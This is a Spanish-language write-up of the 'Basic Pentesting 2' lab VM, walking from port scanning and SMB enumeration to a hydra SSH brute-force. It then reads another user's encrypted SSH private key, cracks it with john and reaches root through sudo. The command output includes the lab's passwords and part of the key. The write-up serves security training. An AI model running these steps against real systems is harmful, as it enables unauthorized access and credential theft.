Primero se escanea los puertos para descubrir los servicios activos
$ sudo nmap -sV -Pn -A -O -oN basic2 192.168.2.6
Starting Nmap
Nmap scan report for 192.168.2.6
Host is up (0.00049s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
| 256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_ 256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h39m58s, deviation: 2h53m12s, median: -1s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date:
|_ start_date: N/A
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Teniendo un servicio habilitado en el puerto 80 en el navegador se comprueba el contenido.
En este caso no hay mucha información, asi que se inspecciona el código fuente.
Hay un comentario haciendo alusión a dev. Bueno ahora a buscar en las rutas de este servicio
$ gobuster dir -u http://192.168.2.6/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.6/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster
[+] Expanded: true
[+] Timeout: 10s
===============================================================
http://192.168.2.6/development (Status: 301) [Size: 316] [--> http://192.168.2.6/development/]
http://192.168.2.6/server-status (Status: 403) [Size: 299]
Progress: 218922 / 220586 (99.25%)
===============================================================
Al verificar la ruta, se encontró dos mensajes, dev.txt y j.txt
$ cat j.txt
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
-K
$ cat dev.txt
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J
Estas dan 2 pistas, que j tiene una credencial débil y que tiene han habilitado smb. Con esto lo siguiente es recabar más información sobre smb.
$ sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.2.6
Starting Nmap
Nmap scan report for 192.168.2.6
Host is up (0.00042s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:xx:xx:xx
Host script results:
| smb-enum-shares:
| account_used: guest
| \\192.168.2.6\Anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\samba\anonymous
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\192.168.2.6\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (Samba Server 4.3.11-Ubuntu)
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
|_ Current user access: READ/WRITE
Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds
Se descubrio que se puede acceder con anonymous a smb con un cliente
$ smbclient //192.168.2.6/anonymous
Password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 12:31:20 2018
.. D 0 Thu Apr 19 12:13:06 2018
staff.txt N 173 Thu Apr 19 12:29:55 2018
14318640 blocks of size 1024. 11000564 blocks available
smb: \> exit
Con el comando ls se identificó un archivo que se puede descargar.
$ smbget -R smb://192.168.2.6/anonymous
Password:
Using workgroup WORKGROUP, user aka-linux
smb://192.168.2.6/anonymous/staff.txt
Downloaded 173b in 4 seconds
$ cat staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
Dentro de este archivo es una nota que se dejaron como recomendación para organizarse entre ellos. Teniendo ahora los nombres de jan y kay, sabiendo que uno de ellos tiene una contraseña débil, hay que explotarla.
hydra -l jan -P /home/.../rockyou.txt -t 16 10.10.218.12 ssh
[22][ssh] host: 192.168.2.6 login: jan password: armando
Con la contraseña, se inicia sesion con el usuario jan y la contraseña ya se tiene.
$ ssh jan@192.168.2.6
En el espacio de trabajo de este usuario no hay mayor cosa, asi que buscando se encontró el espacio de kay.
an@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
Hay un archivo muy interesante llamado pass.bak, pero no se tiene permiso para acceder. El siguiente es la carpeta .ssh.
jan@basic2:/home/kay/.ssh$ ls
authorized_keys id_rsa id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
Encontrando esta llave privada, solo es copiarla y explotarla.
$ vi id_rsa
$ ssh2john id_rsa > hash.txt
Se uso una utilidad para convertir en un formato que john lo pueda usar para romper la llave.
$ john --wordlist=~/Documentos/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
Como john ya conocia la contraseña, solo se le debe pasar el archivo y la flag --show
$ john hash.txt --show
id_rsa:*******
1 password hash cracked, 0 left
Ahora se le da los permisos necesarios para la llave y se ingresa con el usuario kay, el archivo rsa y la contraseña.
$ chmod 0400 id_rsa
$ ssh kay@192.168.2.6 -i id_rsa
Ahora con el usuario se puede ver el contenido de pass.bak
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
Luego utilizando esa contraseña para ingresar al usuario root.
kay@basic2:~$ sudo -i
[sudo] password for kay:
root@basic2:~# id
uid=0(root) gid=0(root) groups=0(root)
root@basic2:~# ls
flag.txt
A continuación les dejo parte del mensaje.
root@basic2:~# cat flag.txt
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!
Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.
